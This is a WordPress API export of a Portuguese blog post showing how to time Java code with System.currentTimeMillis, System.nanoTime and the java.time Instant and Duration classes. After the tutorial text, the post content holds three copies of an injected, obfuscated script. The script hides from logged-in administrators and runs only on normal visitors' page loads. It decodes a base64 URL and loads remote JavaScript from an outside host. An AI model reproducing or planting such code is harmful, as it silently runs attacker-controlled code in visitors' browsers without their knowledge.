{"id":4189,"date":"2015-09-29T17:53:22","date_gmt":"2015-09-29T20:53:22","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=4189"},"modified":"2025-10-26T22:31:43","modified_gmt":"2025-10-27T01:31:43","slug":"maneiras-de-medir-o-tempo-em-java-sem-bibliotecas-externas","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2015\/09\/29\/maneiras-de-medir-o-tempo-em-java-sem-bibliotecas-externas\/","title":{"rendered":"Maneiras de medir o tempo em Java sem bibliotecas externas"},"content":{"rendered":"<p>Em Java, existem algumas formas de medir o tempo de execu\u00e7\u00e3o de um trecho do c\u00f3digo sem o uso de bibliotecas externas ou ferramentas de profiling. O jeito mais convencional \u00e9 utilizar o System.currentTimeMillis():<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\t\tlong startTime = System.currentTimeMillis();\n\t\tmetodoDemorado();\n\t\tlong totalTime = System.currentTimeMillis() - startTime;<\/pre>\n<p>Pode-se substituir o currentTimeMillis() por nanoTime(). A diferen\u00e7a dos dois est\u00e1 que o currentTimeMillis utiliza o rel\u00f3gio da m\u00e1quina para pegar a quantidade de millisegundos desde \u00e0s 00hs do dia 01 de Janeiro de 1970 UTC at\u00e9 o momento atual. J\u00e1 o nanoTime() n\u00e3o \u00e9 baseado em rel\u00f3gio e usa o timer mais preciso que exista na m\u00e1quina e por isso s\u00f3 pode ser utilizado para medida de tempo de execu\u00e7\u00e3o e n\u00e3o relacionado com o rel\u00f3gio da m\u00e1quina.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\t\tlong startTime = System.nanoTime();\n\t\tmetodoDemorado();\n\t\tlong totalTime = System.nanoTime() - startTime;<\/pre>\n<p>Maiores informa\u00e7\u00f5es nesse <a href=\"https:\/\/blogs.oracle.com\/dholmes\/entry\/inside_the_hotspot_vm_clocks\" target=\"_blank\" rel=\"noopener\">link<\/a>.<\/p>\n<p>Agora o mais legal que eu estou utilizando atualmente \u00e9 a nova API (java.time) do Java 8, principalmente as classes <a href=\"https:\/\/docs.oracle.com\/javase\/8\/docs\/api\/java\/time\/Instant.html\" target=\"_blank\" rel=\"noopener\">Instant<\/a> e <a href=\"https:\/\/docs.oracle.com\/javase\/8\/docs\/api\/java\/time\/Duration.html\" target=\"_blank\" rel=\"noopener\">Duration<\/a>. O c\u00f3digo \u00e9 mais leg\u00edvel e tem mais funcionalidade para trabalhar com a dura\u00e7\u00e3o (Duration) que \u00e9 retornada entre um momento ou instante (Instant) e outro. Uma observa\u00e7\u00e3o, o tempo n\u00e3o \u00e9 t\u00e3o preciso, normalmente \u00e9 interessante quando precis\u00e3o de segundos \u00e9 suficiente.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\t\tInstant startTime = Instant.now();\n\t\tmetodoDemorado();\n\t\tInstant endTime = Instant.now();\n\t\tDuration totalTime = Duration.between(startTime, endTime);\n<\/pre>\n<p>Agora, para quem vai trabalhar com bechmarking de v\u00e1rias threads e n\u00e3o o tempo que o sistema fica aguardando o m\u00e9todo ser executado \u00e9 interessante utilizar medidas como User Time e System Time. Para isso existe o ThreadMXBean que recupera dados direto da JVM, mas esse assunto \u00e9 t\u00f3pico para um outro post.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em Java, existem algumas formas de medir o tempo de execu\u00e7\u00e3o de um trecho do c\u00f3digo sem o uso de bibliotecas externas ou ferramentas de profiling. O jeito mais convencional \u00e9 utilizar o System.currentTimeMillis(): long startTime = System.currentTimeMillis(); metodoDemorado(); long <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2015\/09\/29\/maneiras-de-medir-o-tempo-em-java-sem-bibliotecas-externas\/\">Continue lendo  <span class=\"screen-reader-text\">  Maneiras de medir o tempo em Java sem bibliotecas externas<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,9],"tags":[],"class_list":["post-4189","post","type-post","status-publish","format-standard","hentry","category-java","category-oracle"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4189"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4189\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}